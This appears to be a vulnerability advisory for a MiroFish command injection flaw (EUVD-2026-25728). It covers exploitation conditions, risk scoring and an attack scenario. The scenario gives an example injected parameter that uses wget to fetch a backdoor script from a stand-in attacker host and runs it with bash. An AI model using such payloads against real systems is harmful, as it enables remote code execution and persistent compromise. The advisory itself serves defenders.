MiroFish EUVD-2026-25728

No special conditions - remote unauthenticated exploitation against default configurations of MiroFish versions 0.1.2 and earlier. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms network-accessible attack surface requiring no authentication, low attack complexity, and no user interaction. The only prerequisite is network reachability to the MiroFish backend service exposing the simulation_ipc.py endpoints. The vulnerability exists in core IPC functionality rather than an optional feature, meaning all standard deployments are vulnerable unless the specific simulation IPC service has been manually disabled or firewalled. Exploitation succeeds regardless of operating system, deployment configuration, or user activity. The backend must be running and accepting network connections, but this represents normal operational state rather than a limiting factor.

This vulnerability presents HIGH real-world risk despite the moderate CVSS score of 7.3. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms this is remotely exploitable with no authentication, low complexity, and no user interaction required - the most dangerous attack surface profile. The E:P (Proof-of-concept available) temporal metric is confirmed by the GitHub issue #488 containing exploit code. SSVC framework indicators point to immediate priority: exploitation is PUBLIC and PROVEN (POC exists), technical impact is TOTAL (arbitrary command execution enables full system compromise beyond the Low C/I/A ratings), and the vulnerability is AUTOMATABLE (can be scripted for mass exploitation). Critical risk amplifiers include: (1) vendor non-responsiveness means no patch timeline exists, (2) all versions through 0.1.2 remain vulnerable indefinitely, (3) unauthenticated network exposure means internet-facing instances are immediately at risk, and (4) command injection provides a direct path to Remote Code Execution, data exfiltration, and lateral movement. The CVSS CIA ratings of Low appear to underestimate impact - successful command injection typically enables complete system takeover. Organizations running MiroFish should treat this as a critical exposure requiring immediate compensating controls or service decommissioning.

An unauthenticated attacker scans for exposed MiroFish instances and identifies the backend service port. The attacker crafts a malicious HTTP request targeting the simulation IPC endpoint, injecting shell metacharacters into command parameters (e.g., sending 'legitimate_command; wget http://attacker.com/backdoor.sh -O /tmp/b.sh; bash /tmp/b.sh' to the SimulationIPCClient.send_command function). The vulnerable backend executes the injected commands with the privileges of the MiroFish process, downloading and executing the attacker's payload. The attacker establishes persistent backdoor access, escalates privileges if the service runs as root, and pivots to internal networks. Public POC availability (GitHub issue #488) lowers the skill barrier, enabling script kiddies to exploit vulnerable instances at scale.